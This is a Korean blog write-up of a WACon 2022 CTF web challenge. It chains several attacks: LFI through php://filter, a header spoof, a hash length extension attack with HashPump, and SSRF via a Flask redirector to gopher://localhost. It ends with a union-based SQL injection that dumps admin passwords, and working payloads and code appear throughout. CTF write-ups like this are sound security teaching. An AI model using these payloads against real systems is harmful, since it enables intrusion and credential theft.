[WACon 2022] Kuncɛlan write up
🚪 Intro
20명이나 푼 웹 첫번째 문제 입니다.
물론 풀다가 포기하고, 대회 끝난 이후 힌트와 친구의 도움으로 해결했습니다.
해당 문제를 풀기 위한 Keyword는 다음과 같습니다.
`LFI`
`hash length extension attack`
`SSRF`
`SQLI`
💡 Analysis - 화면 흐름
문제 사이트에 접속하면 로그인 페이지로 이동 됩니다.
로그인 후 "fun" 이라는 페이지로 이동하면 아래 사진처럼 SSRF 느낌이 나는 페이지가 출력됩니다.
input 태그에 값을 입력하면, 해당 기능은 로컬에서만 동작하는 것을 알 수 있습니다.
코드가 없는 상태에서 우회하기에는 힘들기 때문에, 다른 방법을 찾아야 합니다.
💡 Exploit - LFI
위 페이지에는 LFI 취약점이 존재합니다. fun_004ded7246 이라는 파라미터에 load 라는 값이 들어가 있죠.
이는 load.phtml 이라는 파일을 `include` 해주는 것 같은 느낌이 들었습니다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=load
그래서 php://filter 를 통해 load.phtml 과 index.phtml 파일의 코드를 leak 했습니다.
http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load
💡 Exploit - 사용자 정의 헤더
아래 코드는 load.phtml 코드의 일부분 입니다.
64~66번째 줄에서는 뭔가를 하고 있습니다. 이는 나중에 살펴보도록 하죠.
68번째 줄에서 `HTTP_X_HTTP_HOST_OVERRIDE` 라는 헤더의 값으로 `$IP` 변수에 대입합니다. 이는 75번째 줄에 127.0.0.1 과 같아야 조건문 중에서 첫번째를 통과할 수 있습니다.
따라서 다음과 같이 burp를 통해 header를 추가합니다.
이렇게 하면 `$IP` 변수에는 127.0.0.1 값이 들어가게 됩니다.
💡 Exploit - Hash Length Extension Attack
64번째 줄을 보면, `X-SECRET` 에 `gen()` 함수를 통해 랜덤한 값을 생성합니다. 이때 `sha1()` 함수를 통해 생성 후 20글자를 리턴하고 있죠.
66번째 줄을 보면, 위에서 생성된 `X-SECRET` 과 "guest" 라는 문자열을 합친 뒤, `sha256()` 함수를 통해 생성된 값을 `X-TOKEN` 에 넣습니다.
(빨간 박스 3번째에서) 조건문 중 2번째는 Cookie 변조를 막기 위한 무결성 검증을 하고 있습니다. 랜덤하게 생성된 `X-SECRET` 과 sha256의 해쉬 충돌을 기대할 순 없는 상황 입니다. 하지만, 이러한 무결성 검증을 우회하는 방법이 Hash Length Extension Attack 이라고 있습니다.
Hask Length Extension Attack은 아래 블로그에 잘 설명 되어 있습니다.
현재 문제를 기준으로 설명하자면 다음과 같습니다.
1. 생성된 `X-TOKEN` 값을 알고 있고
2. `X-SECRET` 값은 모르지만 20글자임을 알고 있고
3. `X-TOKEN` 을 생성할 때 값을 모르는 `X-SECRET` 과 알고 있는 `guest` 문자열을 합치고 있다.
라는 정보를 알고 있습니다. 위 공격을 사용하면, `X-SECRET` 값은 모르더라도 공격자가 guest 문자열 뒤에 값을 추가한 `X-TOKEN` 값을 얻을 수 있습니다. 즉, if 조건문 중 2번째와 3번째를 동시에 우회할 수 있게 되는거죠.
저는 위 블로그에서 설명한 HashPump 라는 툴로 문제를 해결했습니다. (설치는 알아서...)
위 툴을 사용하여 다음과 같은 옵션을 넘겨주면, 새롭게 생성된 `X-TOKEN` 과 `USER` Cookie를 얻을 수 있습니다.
`-s`: 기존에 생성된 `X-TOKEN` 값 (c9bb82c11134b7e76f44c2f01383f99fe9baa691ee90c7b1c6526dce8b67355e)
`-d`: `X-TOKEN` 이 생성될 때, 사용되는 알려진 데이터 (guest)
`-a`: 추가할 데이터 (admin)
`-k`: `X-SECRET` 길이 (20)
위 정보를 Cookie에 넣어 burp로 전송하면 성공적으로 google 페이지가 출력되는 것을 볼 수 있습니다.
(주의할 점은 위 출력 값은 \x00 으로 되어 있는데, 이를 %00 으로 바꿔서 보내야 합니다.)
문제의 의도는 google.com 으로 접속하는 것이 아니라, load.phtml 코드 상단에 다른 php 경로를 알려주고 있습니다.
하지만, `valid_url()` 함수를 통해 내부 IP를 통한 접속을 차단하고 있습니다.
이를 우회하는 방법을 다음 장에서 설명합니다.
💡 Exploit - SSRF and gopher://
아래 코드에서 `get_data()` 함수안에 curl 관련 동작 코드가 있습니다.
46번째 줄을 보면, `CURLOPT_FOLLOWLOCATION` 라는 옵션이 on 되어 있는데, 이는 response header에 301 혹은 302 상태코드로 인해 다른 url로 이동을 허용한다는 것입니다. 이 옵션을 이용하여 `valid_url()` 함수를 우회할 수 있습니다.
저는 flask를 이용하여 공격 환경을 구축하였습니다.
제 서버로 요청이 들어온다면, 내부로 리다이렉트 하는 코드는 다음과 같습니다.
from flask import Flask, redirect
import base64
app = Flask(__name__)
@app.route('/chall_1')
def chall_1():
# challenge 1
# request /internal_e0134cd5a917.php
return redirect('gopher://localhost:80/_GET%20/internal_e0134cd5a917.php%20HTTP/1.0%0d%0a', code=301)
if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8080)
위 코드를 보면, /chall_1 라는 페이지로 요청이 들어오면 리다이렉트를 시킵니다. 이때 리다이렉트 되는 주소는 gopher 프로토콜을 사용합니다.
최종적으로 flask 서버 주소를 넘기면 내부 IP에 접근할 수 있고, 문제 파일에 접근할 수 있게 됩니다.
위 사진을 보면, 다음 php 파일 경로를 알려주고 있습니다.
앞서 작성한 flask 코드에 아래 코드를 추가하여 다른 php 파일 경로를 작성해 줍니다.
응답 결과를 보면 Authorization header가 빠져있다고 합니다. 마찬가지로 gopher에 추가하여 전송하면 다음 단계로 이동할 수 있습니다.
@app.route("/chall_2")
def chall_2():
# challenge 2
# add Authorization header
return redirect("gopher://localhost:80/_GET%20/internal_1d607d2c193b.php%20HTTP/1.0%0d%0aAuthorization:%20Basic%20YWxhZGRpbjpvcGVuc2VzYW1l%0d%0a", code=301)
이번에는 POST 데이터가 없다고 합니다. method 와 content-type, body 부분을 채워주면 됩니다.
💡 Exploit - SQLI
위 과정을 통과하면 sqli 문제가 나옵니다. 이는 Authorization 에서 Injection이 가능합니다.
따라서 다음과 같이 admin 계정에 로그인 하고, admin 계정의 password를 얻으면 flag를 획득할 수 있습니다.
@app.route("/chall_2_1")
def chall_2_1():
# challenge 2-1
# add POST body data
# authentication = "admin:admin' union select 1,database(),3-- -"
# authentication = "admin:admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='auth_user'),3-- -"
authentication = "admin:admin' union select 1,group_concat(password),3 from auth_user limit 1-- -"
authentication = base64.b64encode(authentication.encode('ascii')).decode()
post_body_data = "1"
content_type_length = len(post_body_data)
return redirect(f"gopher://localhost:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.0%0d%0aAuthorization:%20Basic%20{authentication}%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20{content_type_length}%0d%0a%0d%0a{post_body_data}", code=301)
`WACon{Try_using_Gophhhher_ffabcdbc}`
'🚩CTF' 카테고리의 다른 글
[WACon 2022] yet_another_baby_web (0) | 2022.06.28 |
---|---|
[WACon 2022] ppower write up (2) | 2022.06.28 |
zer0pts ctf 2022 GitFile Explorer write up (0) | 2022.03.27 |
hayyim CTF 2022 writeup (0) | 2022.02.13 |
HTML Viewer writeup (0) | 2022.02.04 |
댓글
이 글 공유하기
다른 글
-
[WACon 2022] yet_another_baby_web
[WACon 2022] yet_another_baby_web
2022.06.28 -
[WACon 2022] ppower write up
[WACon 2022] ppower write up
2022.06.28 -
zer0pts ctf 2022 GitFile Explorer write up
zer0pts ctf 2022 GitFile Explorer write up
2022.03.27 -
hayyim CTF 2022 writeup
hayyim CTF 2022 writeup
2022.02.13